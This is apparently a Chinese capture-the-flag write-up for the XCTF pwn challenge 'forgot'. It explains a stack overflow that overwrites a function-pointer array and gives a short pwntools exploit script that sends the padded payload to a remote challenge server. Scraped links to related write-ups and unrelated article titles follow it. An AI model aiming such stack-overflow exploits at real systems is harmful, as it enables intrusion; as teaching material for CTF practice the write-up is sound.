攻防世界(Pwn) forgot—栈溢出;(方法二)

介绍

这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题;

方法一(精确打击)

文件运行流程是: 1.先输入名字 2. 输入一串字符串 3.for循环验证字符串v5的值改变;4.返回v3[–5]函数;

1.溢出点

scanf函数
2.漏洞利用

最终返回的是 v3[--v5] 的一个函数, v5的值是在for循环之中改变的;v5的初始值是1;

把函数返回的目的地改为   0x80486CC就可以了;


只 要 修 改 v3[0]-v3[9] 其中一个就可以了,这里选择修改v3[0],(最简单,常规的选择)

v3[--v5] , v5的值是在for循环之中改变的;v5的初始值是1;

当v5的值在for循环一直保持不变,一直是1的话,就返回了 v3[0],把地址改为 0x80486CC

-----------------------------------------------------------------------------------------------------------------------.

v2输入是溢出点


v2,v3两组数据在栈上是相邻的, v2的长度大于 20h之后就会覆盖v3的返回值了

-----------------------------------------------------------------------------------------------------------------------.

EXP

from pwn import  *
io = remote('111.200.241.244', 59837)
payload = 'A'*0x20 + p32(0x80486cc)
io.sendlineafter(">","hhh")
io.sendlineafter(">",payload)
io.interactive()

Payload解释:

'A'*0x20

1.为什么是 0x20?

因为v2的长度是32, 换成16进制是 0x20 溢出

2.为什么是’A’

A的ASCII码值是41

在下列判断条件中不满足任何一个判断,可以保证v5的值一直是1;

点开其中一个判断条件来看:

41不在其范围内

有 什 么 问 题 欢 迎 留 言

攻防世界(Pwn) forgot---栈溢出;(方法一)相关推荐

  1. [攻防世界 pwn]——forgot

    [攻防世界 pwn]--forgot 题目地址: https://adworld.xctf.org.cn/ 题目: 在checksec看下保护 在IDA中, 竟然有后面函数, 找到sub_80486C ...

  2. 攻防世界 pwn forgot

    下面记录一下我在做攻防世界的pwn练习题中的forgot题目的过程,这个题目现在还是有些疑惑的 首先我们看一下题目的安全机制: 然后IDA看一下主函数: int __cdecl main() {siz ...

  3. 攻防世界(Pwn)dice_game, 栈溢出覆盖srand种子

    说明 这其实是一种类型题,新手刚开始会碰到,题目大致过程是 有个srand()的随机函数.需要覆盖 seed种子 即srand(seed) 把 seed 覆盖为一个固定的数 , srand 就是伪随机 ...

  4. 攻防世界pwn——forgot

    分析 checksec IDA 直接搜flag找到sub_80486CC,有system,这肯定是我们要调用的函数了,函数地址0x080486CC int sub_80486CC() {char s[ ...

  5. 攻防世界(Pwn) forgot---栈溢出;(方法二)

    攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...

  6. 攻防世界 Pwn 进阶 第一页

    00 要把它跟之前新手区的放在一起总结,先稍稍回顾一下新手区. 攻防世界 Pwn 新手 1.栈溢出,从简单到难,开始有后门函数,到需要自己写函数参数,到最后的ret2libc. 常见漏洞点有read( ...

  7. [攻防世界 pwn]——pwn1(内涵peak小知识)

    [攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...

  8. [攻防世界 pwn]——Mary_Morton

    [攻防世界 pwn]--Mary_Morton 题目地址: https://adworld.xctf.org.cn/ 题目: checksec看下,64位还开启了NX和canary保护.(一般开启ca ...

  9. 攻防世界 Pwn 进阶 第二页

    00 这文章更重要的是对这些题进行一个总结,说一些值得注意的地方,写一些自己的理解. 为了形成一个体系,想将前面学过的一些东西都拉来放在一起总结总结,方便学习,方便记忆. 攻防世界 Pwn 新手 攻防 ...

最新文章

  1. poj 2728 Desert King(最小比率生成树 / 0-1分数规划 / 二分)
  2. 全民K歌直播推荐算法实践
  3. java中explore_Java ServerPlayer.exploreMap方法代码示例
  4. python 报错 UnicodeDecodeError: ‘utf-8‘ codec can‘t decode byte 0xd3 in position 解决方法
  5. MATLAB字符串数组中查找指定子串
  6. c# ef报错_C# EF调用MySql出现“未将对象引用设置到对象的实例”错误解决方案
  7. 洛谷 P1736 创意吃鱼法
  8. qt中使用QCompleter实现查找功能
  9. springboot gateway 负载均衡_05_Springbootamp;Springcloud面试题
  10. JavaScript 源型链
  11. SELinux系列(一)——SELinux是什么
  12. LINUX 游戏服务器之旅4_mongodb环境
  13. java 声明是否合法,一个合法的Java源程序中定义了4个类,其中属性为public的类可能有( )个...
  14. Caffe学习:pycaffe利用caffemodel进行分类=裁剪图片
  15. 求合体电脑版_网红界宋祖儿找了个年轻版言承旭当男友,一张合照就收割百万cp粉...
  16. 从Activiti切换到Camunda的5个理由
  17. 运算放大器节点电压方程_区分运算放大器和电压比较器
  18. 孢子社群:今日推荐人工智能微信群:粤、沪、鄂人工智能产业化集群1
  19. 【sketchup 2021】草图大师的高级工具使用2【材质贴图应用的基础功能和高级使用与实战演练(给地砖调整尺寸、转贴贴图圆柱为例、投影贴图百叶窗为例】
  20. 唯美烟花特效登录页面,我感觉自己又行了

热门文章

  1. 转:python 实现GUI(图形用户界面)编程
  2. [基础常识]申请免费SSL证书 - 阿里云云盾证书 - Digicert+Symantec 免费型DV SSL
  3. 利用Oracle虚拟私有数据库进行整合
  4. textContent、innerHTML、innerText、outerText、outerHTML、nodeValue使用场景和区别
  5. Oracle 基础系列之1.1 oracle的安装
  6. JavaScript的变量作用域深入理解(转)
  7. 根据当前日期算前一年、前一月、前一天(java基础)
  8. java文件file字符集_获取文件字符集(或文件编码) 的工具类
  9. 【学习笔记】SAP CO模块概念信息(下)
  10. 【SD】交货单如何在保存时更改LIKP表的值?